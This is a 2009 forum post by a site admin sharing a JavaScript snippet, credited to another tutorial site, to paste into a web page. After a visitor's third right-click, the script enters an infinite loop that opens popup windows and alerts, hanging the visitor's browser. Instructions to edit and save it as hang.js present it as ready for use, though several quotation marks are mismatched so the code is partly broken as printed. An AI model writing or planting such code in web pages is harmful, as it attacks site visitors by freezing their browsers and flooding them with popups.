Unlimited Concepts

Would you like to react to this message? Create an account in a few clicks or log in to continue.


    Triple Right Click Hang Browser + Popup

    +uc.Un1x
    +uc.Un1x
    Admin
    Admin


    Posts : 125
    Join date : 2009-04-04
    Age : 36
    Location : Marikina

    Triple Right Click Hang Browser + Popup Empty Triple Right Click Hang Browser + Popup

    Post by +uc.Un1x Thu Apr 30, 2009 4:19 am

    #1 Copy the codes below and paste it in notepad.
    #2 Edit the YELLOW parts and save it as hang.js


    var times=0;

    function rightClicked(){
    if (times>1) {
    alert (”LAST ALERT“);
    while (1==1) {
    window.open(`POP UP URL‘);
    alert(HANG ALERT‘);
    }
    }
    if (times==1) {
    alert(”2ND ALERT“);
    times++
    }
    if (times<1) {
    alert(”1ST ALERT“);
    times++
    }
    }

    function clickIE4(){
    if (event.button==2){
    rightClicked();
    return false;
    }
    }

    function clickNS4(e){
    if (document.layers||document.getElementById&&!
    document.all){
    if (e.which==2||e.which==3){
    rightClicked();
    return false;
    }
    }
    }

    if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown=clickNS4;
    }
    else if (document.all&&!document.getElementById){
    document.onmousedown=clickIE4;
    }

    document.oncontextmenu=new Function
    (”rightClicked();return false”)

    Credit: to fstutorials

      Current date/time is Sun May 19, 2024 6:43 am